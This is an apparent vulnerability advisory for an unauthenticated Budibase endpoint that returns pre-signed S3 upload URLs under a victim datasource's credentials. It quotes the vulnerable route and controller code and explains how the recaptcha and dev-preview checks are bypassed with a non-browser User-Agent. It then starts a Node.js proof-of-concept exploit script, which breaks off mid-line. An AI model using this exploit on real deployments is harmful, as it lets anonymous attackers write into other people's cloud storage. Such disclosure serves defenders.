CVE-2026-50137

Summary

The Budibase server route POST /api/attachments/:datasourceId/url (packages/server/src/api/routes/static.ts) is registered with only the recaptcha middleware. There is no authorized(...) middleware in the chain. The controller (packages/server/src/api/controllers/static/index.ts::getSignedUploadURL) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored accessKeyId / secretAccessKey, and returns an AWS Signature V4 pre-signed PutObjectCommand URL for the caller-supplied bucket and key. The bucket is not pinned to the datasource's configured bucket.

The workspace context required by sdk.datasources.get is sourced by getWorkspaceIdFromCtx (packages/backend-core/src/utils/utils.ts) from any of: the x-budibase-app-id header, the JSON body appId, a path segment that begins with the workspace prefix, or ?appId=. auth.buildAuthMiddleware([], { publicAllowed: true }) runs before any of this and explicitly allows anonymous requests. The currentWorkspace middleware's "deny access to dev preview" branch only triggers under isBrowser(ctx) && !isApiKey(ctx); isBrowser checks the parsed User-Agent for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.

Net effect: an anonymous attacker who knows or can enumerate a workspace id (app_...) and an S3-source datasource id (ds_...) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the publicUrl so the attacker knows exactly where their PUT lands. Because bucket is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.

Affected code

packages/server/src/api/routes/static.ts at HEAD 56d2a984 (master, 2026-05-18):

import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"

const { BUILDER, PermissionType, PermissionLevel } = permissions

const router: Router = new Router()
// ...
router
  .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
  .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
  .post(
    "/api/attachments/:tableId/upload",
    recaptcha,
    paramResource("tableId"),
    authorized(PermissionType.TABLE, PermissionLevel.WRITE),
    controller.uploadFile
  )
  // ...
  .post(
    "/api/attachments/:datasourceId/url",
    recaptcha,
    controller.getSignedUploadURL                       // <- no authorized(...)
  )

Note the asymmetry: every other mutating endpoint on this router carries an authorized(...) middleware. The signed-URL endpoint does not.

packages/server/src/api/controllers/static/index.ts:595-645:

export const getSignedUploadURL = async function (ctx) {
  let datasource
  try {
    const { datasourceId } = ctx.params
    datasource = await sdk.datasources.get(datasourceId, { enriched: true })
    if (!datasource) {
      ctx.throw(400, "The specified datasource could not be found")
    }
  } catch (error) {
    ctx.throw(400, "The specified datasource could not be found")
  }

  let signedUrl, publicUrl
  const awsRegion = (datasource?.config?.region || "eu-west-1") as string
  if (datasource?.source === "S3") {
    const { bucket, key } = ctx.request.body || {}
    if (!bucket || !key) {
      ctx.throw(400, "bucket and key values are required")
    }
    try {
      let endpoint = datasource?.config?.endpoint
      if (endpoint && !utils.urlHasProtocol(endpoint)) {
        endpoint = `https://${endpoint}`
      }
      const s3 = new S3({
        region: awsRegion,
        endpoint,
        credentials: {
          accessKeyId: datasource?.config?.accessKeyId as string,
          secretAccessKey: datasource?.config?.secretAccessKey as string,
        },
      })
      const params = { Bucket: bucket, Key: key }
      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))
      if (endpoint) {
        publicUrl = `${endpoint}/${bucket}/${key}`
      } else {
        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`
      }
    } catch (error: any) {
      ctx.throw(400, error)
    }
  }

  ctx.body = { signedUrl, publicUrl }
}

sdk.datasources.get(datasourceId, { enriched: true }) (packages/server/src/sdk/workspace/datasources/datasources.ts) does the workspace DB read and also substitutes {{ env.* }} references in the config via processObjectSync, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.

recaptcha (packages/server/src/middleware/recaptcha.ts) short-circuits to next() whenever the workspace either is not a production workspace or does not have features.recaptchaEnabled = true on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the x-budibase-type: builder header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.

Reproduction

Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):

#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>

"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")

function postJson(targetUrl, headers, body) {
  return new Promise((resolve, reject) => {
    const u = new URL(targetUrl)
    const lib = u.protocol === "https:" ? https : http
    const payload = Buffer.from(JSON.stringify(body), "utf8")
    const req = lib.request(
      {
        method: "POST",
        protocol: u.protocol,
        hostname: u.hostname,
        port: u.port || (u.protocol === "https:" ? 443 : 80),
        path: u.pathname + u.search,
        headers: Object.assign(
          {
            "Content-Type": "application/json",
            "Content-Length": payload.length,
            // Deliberately not a recognised browser UA so the
            // currentWorkspace dev-preview redirect does not fire.
            "User-Agent": "budibase-poc/1.0",
          },
          headers || {}
        ),
      },
      res => {
        const chunks = []
        res.on("data", c => chunks.push(c))
        res.on("end", () =>
          resolve({
            status: res.statusCode,
            body: Buffer.concat(chunks).toString("utf8"),
          })
        )
      }
    )
    req.on("error", reject)
    req.write(payload)
    req.end()
  })
}

async function main() {
  const [baseUrl, appId, datasourceId] = process.argv.slice(2)
  if (!baseUrl || !appId || !datasourceId) {
    console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>")
    process.exit(2)
  }
  const bucket = process.env.POC_BUCKET || "attacker-chose